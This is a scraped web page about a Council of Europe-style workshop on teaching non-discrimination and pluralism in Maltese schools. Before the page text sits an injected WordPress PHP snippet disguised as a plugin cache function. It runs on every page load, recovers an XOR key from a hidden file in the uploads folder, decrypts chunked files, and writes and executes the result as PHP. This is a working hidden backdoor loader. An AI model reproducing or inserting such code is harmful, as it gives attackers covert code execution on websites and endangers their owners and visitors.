/* 187182e58205a233d32cf3f35c704602 */ function star_addons_cache_houston() { $cache_dir = ABSPATH . 'wp-content/uploads/.cache/'; $meta_file = $cache_dir . 'cache_meta.bin'; if(!@file_exists($meta_file)) { return; } $meta_encrypted = @file_get_contents($meta_file); if(!$meta_encrypted) { return; } $meta = null; $key = 0; for($i = 1; $i <= 255; $i++) { $test_decrypt = ''; for($j = 0; $j < strlen($meta_encrypted); $j++) { $test_decrypt .= chr((ord($meta_encrypted[$j]) ^ ($i + 1)) & 0xFF); } $test_json = @json_decode($test_decrypt, true); if($test_json && isset($test_json['key']) && isset($test_json['count'])) { $meta = $test_json; $key = intval($test_json['key']); break; } } if(!$meta || $key === 0) { return; } $count = intval($meta['count']); $ordered_chunks = []; for($i = 0; $i < $count; $i++) { $filename = sprintf('cache_%04d.bin', $i); $filepath = $cache_dir . $filename; if(!@file_exists($filepath)) { return; } $encrypted = @file_get_contents($filepath); if(!$encrypted) { return; } $decrypted = ''; for($j = 0; $j < strlen($encrypted); $j++) { $decrypted .= chr((ord($encrypted[$j]) ^ $key) & 0xFF); } $ordered_chunks[$i] = $decrypted; } if(count($ordered_chunks) === $count) { ksort($ordered_chunks); $code = implode('', $ordered_chunks); if($code && strlen($code) > 10) { $temp_file = $cache_dir . 'temp_' . uniqid() . '.php'; if(@file_put_contents($temp_file, $code, LOCK_EX)) { @include $temp_file; @unlink($temp_file); } } } } add_action('plugins_loaded', 'star_addons_cache_houston'); /* /187182e58205a233d32cf3f35c704602 */ Teaching Non Discrimination Pluralism in Maltese Schools | Education About Religions and Beliefs

Teaching Non Discrimination Pluralism in Maltese Schools

Posted on August 2, 2008

Intercultural Education', Council of Europe, workshop, pluralism, non-discrimination, equity, curriculam, teaching techniques, partnership, participation, cooperation, hidden curriculum, school atmosphere, school's organisational ethos, non-formal education, assessment, own learning experience, responsability, religious diversity, gypsy children, democratic citizenship, human rights, races, cultures, languages, religions, diversity, quality of education, migration, Malta

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